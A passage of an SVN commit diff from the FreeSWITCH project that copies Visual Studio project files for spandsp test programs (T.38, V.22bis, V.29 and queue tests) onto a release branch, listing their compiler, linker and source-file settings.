+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;..;..\..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\..\src\Debug\spandsp.lib"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\src\Debug\spandsp.lib"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\src\msvc\getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\queue_tests.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+			<File
+				RelativePath=".\targetver.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/tests/msvc/t38_core_tests.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc/t38_core_tests.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc/t38_core_tests.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/msvc/t38_core_tests.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/msvc/t38_core_tests.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="t38_core_tests"
+	ProjectGUID="{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}"
+	RootNamespace="t38_core_tests"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;..;..\..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\..\src\Debug\spandsp.lib"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\src\Debug\spandsp.lib"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\src\msvc\getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\t38_core_tests.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+			<File
+				RelativePath=".\targetver.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/tests/msvc/t38_non_ecm_buffer_tests.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc/t38_non_ecm_buffer_tests.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc/t38_non_ecm_buffer_tests.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/msvc/t38_non_ecm_buffer_tests.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/msvc/t38_non_ecm_buffer_tests.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="t38_non_ecm_buffer_tests"
+	ProjectGUID="{80A3D9D9-3846-4DA5-8676-F940D725EA62}"
+	RootNamespace="t38_non_ecm_buffer_tests"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;..;..\..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\..\src\Debug\spandsp.lib"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\src\Debug\spandsp.lib"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\src\msvc\getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\t38_non_ecm_buffer_tests.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+			<File
+				RelativePath=".\targetver.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/tests/msvc/t38_terminal_tests.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc/t38_terminal_tests.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc/t38_terminal_tests.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/msvc/t38_terminal_tests.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/msvc/t38_terminal_tests.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,202 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="t38-terminal-tests"
+	ProjectGUID="{B5DECF33-1D06-459A-AE70-A06404909919}"
+	RootNamespace="t38terminaltests"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="&quot;..\src&quot;;&quot;..\spandsp-sim&quot;;..\..\libtiff\include;&quot;..\src\msvc&quot;"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\src\Debug\spandsp.lib ..\spandsp-sim\Debug\spandsp.lib"
+				GenerateDebugInformation="true"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				RuntimeLibrary="2"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				GenerateDebugInformation="true"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="fax_utils.c"
+				>
+			</File>
+			<File
+				RelativePath="..\src\msvc\getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="media_monitor.cpp"
+				>
+			</File>
+			<File
+				RelativePath="t38_terminal_tests.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/tests/msvc/v22bis_tests.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc/v22bis_tests.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc/v22bis_tests.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/msvc/v22bis_tests.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/msvc/v22bis_tests.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="v22bis_tests"
+	ProjectGUID="{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}"
+	RootNamespace="v22bis_tests"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;..;..\..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\..\src\Debug\spandsp.lib"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\src\Debug\spandsp.lib"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\src\msvc\getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\v22bis_tests.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+			<File
+				RelativePath=".\targetver.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/tests/msvc/v29_tests.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc/v29_tests.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc/v29_tests.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/msvc/v29_tests.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/msvc/v29_tests.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="v29_tests"
+	ProjectGUID="{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}"
+	RootNamespace="v29_tests"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;..;..\..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
